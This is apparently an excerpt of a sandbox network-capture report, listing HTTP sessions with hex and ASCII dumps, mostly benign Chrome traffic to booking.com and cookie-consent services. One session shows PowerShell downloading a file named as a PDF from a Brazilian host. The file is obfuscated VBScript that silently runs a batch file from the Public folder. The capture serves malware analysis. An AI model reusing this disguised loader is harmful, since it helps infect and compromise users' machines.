2024-11-02 13:00:12 UTC	1369	IN	Data Raw: 65 73 73 61 67 65 48 61 6e 64 6c 65 72 2c 21 31 29 2c 73 2e 61 64 64 46 72 61 6d 65 28 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 29 29 7d 2c 74 68 69 73 2e 72 65 6d 6f 76 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 64 65 6c 65 74 65 20 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 69 66 72 61 6d 65 5b 6e 61 6d 65 3d 22 2b 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 2b 22 5d 22 29 5b 30 5d 3b 74 26 26 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 7d 2c 74 68 69 73 2e 65 78 65 63 75 74 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 Data Ascii: essageHandler,!1),s.addFrame(s.LOCATOR_NAME))},this.removeGppApi=function(){delete s.win.__gpp;var t=document.querySelectorAll("iframe[name="+s.LOCATOR_NAME+"]")[0];t&&t.parentElement.removeChild(t)},this.executeGppApi=function(){for(var t=[],e=0;e<argume
2024-11-02 13:00:12 UTC	1369	IN	Data Raw: 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 29 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 2c 65 2e 6e 61 6d 65 3d 74 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 2c 22 47 50 50 20 4c 6f 63 61 74 6f 72 22 29 2c 69 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 61 64 64 46 72 61 6d 65 28 74 29 7d 2c 35 29 29 2c 21 6e 7d 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 2c 6e 3d 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 72 65 74 75 72 6e 20 6e 2e 65 76 65 6e 74 73 3d 6e 2e 65 76 65 6e 74 73 7c 7c 5b 5d 2c 6e 75 Data Ascii: reateElement("iframe")).style.cssText="display:none",e.name=t,e.setAttribute("title","GPP Locator"),i.body.appendChild(e)):setTimeout(function(){s.addFrame(t)},5)),!n},this.addEventListener=function(t,e){var i,n=s.win.__gpp;return n.events=n.events\|\|[],nu
2024-11-02 13:00:12 UTC	1369	IN	Data Raw: 63 79 28 22 6f 74 2d 74 72 75 73 74 65 64 2d 74 79 70 65 2d 70 6f 6c 69 63 79 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 44 4f 4d 50 75 72 69 66 79 2e 73 61 6e 69 74 69 7a 65 28 74 29 7d 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 44 4f 4d 50 75 72 69 66 79 2e 73 61 6e 69 74 69 7a 65 28 74 29 7d 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 69 3d 5b 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2c 6e 2e 68 6f 73 74 6e 61 6d 65 5d 3b 74 72 79 7b 65 3d 6e 65 77 20 55 52 4c 28 74 2c 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 Data Ascii: cy("ot-trusted-type-policy",{createHTML:function(t){return window.DOMPurify.sanitize(t)},createScript:function(t){return window.DOMPurify.sanitize(t)},createScriptURL:function(t){var e,i=[document.location.hostname,n.hostname];try{e=new URL(t,location.ori
2024-11-02 13:00:12 UTC	1369	IN	Data Raw: 3d 6c 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 70 72 65 76 69 65 77 2d 6d 6f 64 65 22 29 2c 74 68 69 73 2e 6f 74 46 65 74 63 68 28 6c 2e 62 61 6e 6e 65 72 44 61 74 61 50 61 72 65 6e 74 55 52 4c 2c 74 68 69 73 2e 67 65 74 4c 6f 63 61 74 69 6f 6e 2e 62 69 6e 64 28 74 68 69 73 29 29 7d 2c 66 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 44 6f 6d 61 69 6e 49 66 42 75 6c 6b 44 6f 6d 61 69 6e 45 6e 61 62 6c 65 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 26 26 74 2e 54 65 6e 61 6e 74 46 65 61 74 75 72 65 73 2c 69 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2c 6e 3d 74 2e 44 6f 6d 61 69 6e 2c 61 3d 74 2e 42 75 6c 6b 44 6f 6d 61 69 6e 43 68 65 63 Data Ascii: =l.stubScriptElement.getAttribute("data-preview-mode"),this.otFetch(l.bannerDataParentURL,this.getLocation.bind(this))},f.prototype.setDomainIfBulkDomainEnabled=function(t){var e=t&&t.TenantFeatures,i=window.location.hostname,n=t.Domain,a=t.BulkDomainChec
2024-11-02 13:00:12 UTC	1369	IN	Data Raw: 69 74 28 22 3b 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 31 5d 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 65 2c 69 29 2c 74 68 69 73 2e 61 64 64 42 61 6e 6e 65 72 53 44 4b 53 63 72 69 70 74 28 74 29 29 3a 74 68 69 73 2e 67 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 74 29 7d 2c 66 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 6e 64 6c 65 42 75 6c 6b 44 6f 6d 61 69 6e 4d 67 6d 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 62 75 6c 6b 44 6f 6d 61 69 6e 4d 67 6d 74 45 6e 61 62 6c 65 64 22 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 2e 69 73 56 61 6c 69 64 29 Data Ascii: it(";")[0],i=i.split(";")[1],this.setGeoLocation(e,i),this.addBannerSDKScript(t)):this.getGeoLocation(t)},f.prototype.handleBulkDomainMgmt=function(t,e){window.sessionStorage&&window.sessionStorage.setItem("bulkDomainMgmtEnabled",JSON.stringify(t.isValid)
2024-11-02 13:00:12 UTC	1369	IN	Data Raw: 20 6f 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6f 74 50 72 65 76 69 65 77 44 61 74 61 22 29 3b 69 66 28 6e 65 77 20 52 65 67 45 78 70 28 22 5e 66 69 6c 65 3a 2f 2f 22 2c 22 69 22 29 2e 74 65 73 74 28 74 29 29 74 68 69 73 2e 6f 74 46 65 74 63 68 4f 66 66 6c 69 6e 65 46 69 6c 65 28 74 2c 69 29 3b 65 6c 73 65 20 69 66 28 30 3c 3d 74 2e 69 6e 64 65 78 4f 66 28 22 2f 63 6f 6e 73 65 6e 74 2f 22 29 26 26 74 68 69 73 2e 70 72 65 76 69 65 77 4d 6f 64 65 26 26 6f 29 7b 6f 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 6f 29 2e 64 6f 6d 61 69 6e 4a 73 6f 6e 3b 69 28 6f 29 7d 65 6c 73 65 7b 6c 2e 6d 6f 62 69 6c 65 4f 6e 6c 69 6e 65 55 52 4c 2e 70 75 73 68 Data Ascii: o=window.sessionStorage&&window.sessionStorage.getItem("otPreviewData");if(new RegExp("^file://","i").test(t))this.otFetchOfflineFile(t,i);else if(0<=t.indexOf("/consent/")&&this.previewMode&&o){o=JSON.parse(o).domainJson;i(o)}else{l.mobileOnlineURL.push
2024-11-02 13:00:12 UTC	1369	IN	Data Raw: 28 76 61 72 20 73 3d 61 2e 73 74 61 74 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 72 3d 61 2e 63 6f 75 6e 74 72 79 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 75 3d 30 3b 75 3c 74 2e 52 75 6c 65 53 65 74 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 69 66 28 21 30 3d 3d 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 47 6c 6f 62 61 6c 29 6e 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 3b 65 6c 73 65 7b 76 61 72 20 70 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 53 74 61 74 65 73 3b 69 66 28 70 5b 72 5d 26 26 30 3c 3d 70 5b 72 5d 2e 69 6e 64 65 78 4f 66 28 73 29 29 7b 69 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 3b 62 72 65 61 6b 7d 30 3c 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 43 6f 75 6e 74 72 69 65 73 2e 69 6e 64 65 78 4f 66 28 72 29 26 26 28 65 3d 74 2e 52 75 6c 65 53 65 Data Ascii: (var s=a.state.toLowerCase(),r=a.country.toLowerCase(),u=0;u<t.RuleSet.length;u++)if(!0===t.RuleSet[u].Global)n=t.RuleSet[u];else{var p=t.RuleSet[u].States;if(p[r]&&0<=p[r].indexOf(s)){i=t.RuleSet[u];break}0<=t.RuleSet[u].Countries.indexOf(r)&&(e=t.RuleSe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49748	18.238.243.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:12 UTC	391	OUT	GET /psb/accountsportal/assets/991_e4e85086dbd38ceb248f.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:13 UTC	715	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 20673 Connection: close Date: Sat, 02 Nov 2024 13:00:13 GMT Last-Modified: Fri, 01 Nov 2024 17:50:38 GMT ETag: "f4dcfc60ba540993c50f9c6caebc6424" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: rfQRMh6Td3fgMLv1fxHXP.mIhXXV2lS7 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 a7f9178d47a7241f2ecd6c65877f7100.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 10liDwNa1gGzzNf3TvIMXaphK3z7hG5gM5WO8vIlNcDWtOeaair5Bw== Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:13 UTC	15669	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 39 39 31 5d 2c 7b 37 30 32 36 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 72 65 74 75 72 6e 20 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f Data Ascii: "use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[991],{70265:function(e,t,n){var i;function a(e){return a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterato
2024-11-02 13:00:13 UTC	1664	IN	Data Raw: 73 77 6f 72 64 5f 73 63 72 65 65 6e 5f 68 65 61 64 65 72 5f 74 69 74 6c 65 22 7d 2c 73 69 67 6e 49 6e 50 68 6f 6e 65 52 65 63 6f 6e 66 69 72 6d 50 61 73 73 77 6f 72 64 3a 7b 70 61 74 68 3a 22 2f 73 69 67 6e 2d 69 6e 2f 70 68 6f 6e 65 2d 72 65 63 6f 6e 66 69 72 6d 2d 70 61 73 73 77 6f 72 64 22 2c 74 69 74 6c 65 3a 22 69 64 65 6e 74 69 74 79 5f 73 69 67 6e 69 6e 5f 70 61 73 73 77 6f 72 64 5f 73 63 72 65 65 6e 5f 68 65 61 64 65 72 5f 74 69 74 6c 65 22 7d 2c 73 69 67 6e 49 6e 50 68 6f 6e 65 43 6f 6e 66 69 72 6d 4d 61 67 69 63 4c 69 6e 6b 53 65 6e 74 3a 7b 70 61 74 68 3a 22 2f 73 69 67 6e 2d 69 6e 2f 70 68 6f 6e 65 2d 63 6f 6e 66 69 72 6d 2d 6d 61 67 69 63 2d 6c 69 6e 6b 2d 73 65 6e 74 22 2c 74 69 74 6c 65 3a 22 69 64 65 6e 74 69 74 79 5f 73 69 67 6e 69 6e 5f Data Ascii: sword_screen_header_title"},signInPhoneReconfirmPassword:{path:"/sign-in/phone-reconfirm-password",title:"identity_signin_password_screen_header_title"},signInPhoneConfirmMagicLinkSent:{path:"/sign-in/phone-confirm-magic-link-sent",title:"identity_signin_
2024-11-02 13:00:13 UTC	3340	IN	Data Raw: 6e 63 65 2f 6f 74 68 65 72 2d 6f 70 74 69 6f 6e 73 22 2c 74 69 74 6c 65 3a 22 69 61 6d 5f 70 61 67 65 5f 74 69 74 6c 65 5f 72 65 61 73 6f 6e 73 5f 76 65 72 69 66 69 63 61 74 69 6f 6e 5f 69 73 73 75 65 73 22 7d 2c 61 75 74 68 41 73 73 75 72 61 6e 63 65 4f 74 68 65 72 4f 70 74 69 6f 6e 73 43 75 73 74 6f 6d 65 72 53 65 72 76 69 63 65 3a 7b 70 61 74 68 3a 22 2f 61 75 74 68 2d 61 73 73 75 72 61 6e 63 65 2f 6f 74 68 65 72 2d 6f 70 74 69 6f 6e 73 2f 63 75 73 74 6f 6d 65 72 2d 73 65 72 76 69 63 65 22 2c 74 69 74 6c 65 3a 22 61 63 63 6f 75 6e 74 5f 74 66 61 5f 63 75 73 74 6f 6d 65 72 5f 73 65 72 76 69 63 65 5f 6f 70 74 69 6f 6e 5f 68 65 61 64 65 72 22 7d 2c 61 75 74 68 41 73 73 75 72 61 6e 63 65 4f 74 68 65 72 4f 70 74 69 6f 6e 73 53 65 63 75 72 69 74 79 52 65 61 Data Ascii: nce/other-options",title:"iam_page_title_reasons_verification_issues"},authAssuranceOtherOptionsCustomerService:{path:"/auth-assurance/other-options/customer-service",title:"account_tfa_customer_service_option_header"},authAssuranceOtherOptionsSecurityRea

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49751	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:13 UTC	157	OUT	GET /license/2/1tronvbs.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br
2024-11-02 13:00:13 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:11 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 16:30:17 GMT Accept-Ranges: bytes Content-Length: 258 Connection: close Content-Type: application/pdf
2024-11-02 13:00:13 UTC	258	IN	Data Raw: 4d 69 63 72 6f 73 6f 66 74 44 6f 63 75 6d 65 6e 74 50 44 46 20 3d 20 28 22 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 22 29 0d 0a 53 65 74 20 41 64 6f 62 65 52 65 61 64 65 72 44 43 50 44 46 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28 4d 69 63 72 6f 73 6f 66 74 44 6f 63 75 6d 65 6e 74 50 44 46 20 29 0d 0a 4d 69 63 72 6f 73 6f 66 74 32 30 32 34 20 3d 20 22 74 72 6f 6e 2e 62 22 0d 0a 56 61 73 6f 41 6d 61 72 65 6c 6f 44 65 73 63 6f 6e 66 69 61 64 6f 20 3d 20 22 3a 5c 55 73 65 72 73 5c 50 75 22 0d 0a 41 64 6f 62 65 52 65 61 64 65 72 44 43 50 44 46 2e 72 75 6e 20 22 22 22 43 22 2b 56 61 73 6f 41 6d 61 72 65 6c 6f 44 65 73 63 6f 6e 66 69 61 64 6f 2b 22 62 6c 69 63 5c 31 22 2b 4d 69 63 72 6f 73 6f 66 74 32 30 32 34 2b 22 61 74 22 22 20 22 2c 20 30 2c 20 74 72 75 Data Ascii: MicrosoftDocumentPDF = ("WScript.Shell")Set AdobeReaderDCPDF = CreateObject(MicrosoftDocumentPDF )Microsoft2024 = "tron.b"VasoAmareloDesconfiado = ":\Users\Pu"AdobeReaderDCPDF.run """C"+VasoAmareloDesconfiado+"blic\1"+Microsoft2024+"at"" ", 0, tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49752	104.18.86.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:13 UTC	639	OUT	GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/a387750c-a080-4dd0-b2d1-7dbdb601bb14.json HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://account.booking.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:13 UTC	981	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:13 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Ray: 8dc44e68af8e3aa9-DFW CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 5601 Cache-Control: public, max-age=86400 Expires: Sun, 03 Nov 2024 13:00:13 GMT Last-Modified: Tue, 17 Sep 2024 13:58:38 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Accept-Encoding Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Content-MD5: chYtm/6rcAlXuroFJihj9A== Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 65f34ccf-c01e-00ff-2e4c-26ae12000000 x-ms-version: 2009-09-19 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare
2024-11-02 13:00:13 UTC	388	IN	Data Raw: 31 39 63 37 0d 0a 7b 22 43 6f 6f 6b 69 65 53 50 41 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 43 6f 6f 6b 69 65 53 61 6d 65 53 69 74 65 4e 6f 6e 65 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 43 53 50 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 4d 75 6c 74 69 56 61 72 69 61 6e 74 54 65 73 74 69 6e 67 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 55 73 65 56 32 22 3a 74 72 75 65 2c 22 4d 6f 62 69 6c 65 53 44 4b 22 3a 66 61 6c 73 65 2c 22 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 53 63 72 69 70 74 54 79 70 65 22 3a 22 50 52 4f 44 55 43 54 49 4f 4e 22 2c 22 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 38 2e 31 2e 30 22 2c 22 4f 70 74 61 6e 6f 6e 44 61 74 61 4a 53 4f 4e 22 3a 22 61 33 38 37 37 Data Ascii: 19c7{"CookieSPAEnabled":false,"CookieSameSiteNoneEnabled":true,"CookieV2CSPEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"PRODUCTION","Version":"202408.1.0","OptanonDataJSON":"a3877
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 6b 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6f 6f 6b 69 65 73 2d 64 61 74 61 2e 6f 6e 65 74 72 75 73 74 2e 69 6f 2f 62 61 6e 6e 65 72 73 64 6b 2f 76 31 2f 64 6f 6d 61 69 6e 67 72 6f 75 70 63 68 65 63 6b 22 2c 22 52 75 6c 65 53 65 74 22 3a 5b 7b 22 49 64 22 3a 22 30 31 39 31 66 66 62 32 2d 30 32 32 34 2d 37 36 31 34 2d 38 39 61 39 2d 63 65 34 62 65 63 63 34 39 37 37 35 22 2c 22 4e 61 6d 65 22 3a 22 55 53 22 2c 22 43 6f 75 6e 74 72 69 65 73 22 3a 5b 22 75 73 22 5d 2c 22 53 74 61 74 65 73 22 3a 7b 7d 2c 22 4c 61 6e 67 75 61 67 65 53 77 69 74 63 68 65 72 50 6c 61 63 65 68 6f 6c 64 65 72 22 3a 7b 22 6e 6f 22 3a 22 6e 6f 22 2c 22 68 69 22 3a 22 68 69 22 2c 22 64 65 22 3a 22 64 65 22 2c 22 72 75 22 3a 22 72 75 22 2c 22 66 69 22 3a 22 66 69 22 2c 22 65 6e 2d Data Ascii: kUrl":"https://cookies-data.onetrust.io/bannersdk/v1/domaingroupcheck","RuleSet":[{"Id":"0191ffb2-0224-7614-89a9-ce4becc49775","Name":"US","Countries":["us"],"States":{},"LanguageSwitcherPlaceholder":{"no":"no","hi":"hi","de":"de","ru":"ru","fi":"fi","en-
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 6f 22 2c 22 68 69 22 3a 22 68 69 22 2c 22 64 65 22 3a 22 64 65 22 2c 22 72 75 22 3a 22 72 75 22 2c 22 66 69 22 3a 22 66 69 22 2c 22 65 6e 2d 75 73 22 3a 22 65 6e 2d 75 73 22 2c 22 62 67 22 3a 22 62 67 22 2c 22 6c 74 22 3a 22 6c 74 22 2c 22 6c 76 22 3a 22 6c 76 22 2c 22 68 72 22 3a 22 68 72 22 2c 22 66 72 22 3a 22 66 72 22 2c 22 68 75 22 3a 22 68 75 22 2c 22 64 65 66 61 75 6c 74 22 3a 22 65 6e 22 2c 22 75 6b 22 3a 22 75 6b 22 2c 22 6b 61 22 3a 22 6b 61 22 2c 22 73 6b 22 3a 22 73 6b 22 2c 22 73 6c 22 3a 22 73 6c 22 2c 22 69 64 22 3a 22 69 64 22 2c 22 63 61 22 3a 22 63 61 22 2c 22 73 72 22 3a 22 73 72 22 2c 22 73 76 22 3a 22 73 76 22 2c 22 6b 6f 22 3a 22 6b 6f 22 2c 22 7a 68 2d 74 77 22 3a 22 7a 68 2d 74 77 22 2c 22 7a 68 2d 68 6b 22 3a 22 7a 68 2d 68 6b 22 Data Ascii: o","hi":"hi","de":"de","ru":"ru","fi":"fi","en-us":"en-us","bg":"bg","lt":"lt","lv":"lv","hr":"hr","fr":"fr","hu":"hu","default":"en","uk":"uk","ka":"ka","sk":"sk","sl":"sl","id":"id","ca":"ca","sr":"sr","sv":"sv","ko":"ko","zh-tw":"zh-tw","zh-hk":"zh-hk"
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 7a 22 2c 22 75 6d 22 2c 22 65 63 22 2c 22 65 67 22 2c 22 65 68 22 2c 22 75 79 22 2c 22 75 7a 22 2c 22 76 61 22 2c 22 65 72 22 2c 22 76 63 22 2c 22 65 74 22 2c 22 76 65 22 2c 22 76 67 22 2c 22 76 69 22 2c 22 76 6e 22 2c 22 76 75 22 2c 22 66 6a 22 2c 22 66 6b 22 2c 22 66 6d 22 2c 22 66 6f 22 2c 22 77 66 22 2c 22 67 61 22 2c 22 77 73 22 2c 22 67 64 22 2c 22 67 67 22 2c 22 67 68 22 2c 22 67 69 22 2c 22 67 6c 22 2c 22 67 6d 22 2c 22 67 6e 22 2c 22 67 71 22 2c 22 67 73 22 2c 22 67 74 22 2c 22 67 75 22 2c 22 67 77 22 2c 22 67 79 22 2c 22 78 6b 22 2c 22 68 6b 22 2c 22 68 6d 22 2c 22 68 6e 22 2c 22 68 74 22 2c 22 79 65 22 2c 22 69 64 22 2c 22 69 6c 22 2c 22 69 6d 22 2c 22 69 6e 22 2c 22 69 6f 22 2c 22 7a 61 22 2c 22 69 71 22 2c 22 69 72 22 2c 22 7a 6d 22 2c 22 6a Data Ascii: z","um","ec","eg","eh","uy","uz","va","er","vc","et","ve","vg","vi","vn","vu","fj","fk","fm","fo","wf","ga","ws","gd","gg","gh","gi","gl","gm","gn","gq","gs","gt","gu","gw","gy","xk","hk","hm","hn","ht","ye","id","il","im","in","io","za","iq","ir","zm","j
2024-11-02 13:00:13 UTC	1369	IN	Data Raw: 72 75 65 2c 22 49 73 47 50 50 45 6e 61 62 6c 65 64 22 3a 66 61 6c 73 65 2c 22 45 6e 61 62 6c 65 4a 57 54 41 75 74 68 46 6f 72 4b 6e 6f 77 6e 55 73 65 72 73 22 3a 66 61 6c 73 65 7d 5d 2c 22 49 61 62 44 61 74 61 22 3a 7b 22 63 6f 6f 6b 69 65 56 65 72 73 69 6f 6e 22 3a 22 31 22 2c 22 63 72 65 61 74 65 64 54 69 6d 65 22 3a 22 32 30 32 34 2d 30 39 2d 31 37 54 31 33 3a 35 38 3a 33 37 2e 32 36 32 34 36 31 35 38 35 22 2c 22 75 70 64 61 74 65 64 54 69 6d 65 22 3a 22 32 30 32 34 2d 30 39 2d 31 37 54 31 33 3a 35 38 3a 33 37 2e 32 36 32 34 36 36 39 34 35 22 2c 22 63 6d 70 49 64 22 3a 22 32 38 22 2c 22 63 6d 70 56 65 72 73 69 6f 6e 22 3a 22 31 22 2c 22 63 6f 6e 73 65 6e 74 53 63 72 65 65 6e 22 3a 22 31 22 2c 22 63 6f 6e 73 65 6e 74 4c 61 6e 67 75 61 67 65 22 3a 6e 75 Data Ascii: rue,"IsGPPEnabled":false,"EnableJWTAuthForKnownUsers":false}],"IabData":{"cookieVersion":"1","createdTime":"2024-09-17T13:58:37.262461585","updatedTime":"2024-09-17T13:58:37.262466945","cmpId":"28","cmpVersion":"1","consentScreen":"1","consentLanguage":nu
2024-11-02 13:00:13 UTC	743	IN	Data Raw: 75 65 2c 22 43 6f 6f 6b 69 65 56 32 56 65 6e 64 6f 72 53 65 72 76 69 63 65 53 63 72 69 70 74 22 3a 74 72 75 65 2c 22 43 6f 6e 73 65 6e 74 53 74 6f 72 65 43 6f 6e 73 65 6e 74 53 74 72 69 6e 67 73 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 41 73 73 69 67 6e 54 65 6d 70 6c 61 74 65 52 75 6c 65 22 3a 74 72 75 65 2c 22 4d 6f 62 69 6c 65 41 75 74 68 65 6e 74 69 63 61 74 65 64 43 6f 6e 73 65 6e 74 73 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 47 43 4d 44 4d 41 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 73 53 61 6d 65 53 69 74 65 4e 6f 6e 65 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 56 32 52 65 6d 6f 76 65 53 65 74 74 69 6e 67 73 49 63 6f 6e 22 3a 74 72 75 65 2c 22 43 6f 6f 6b 69 65 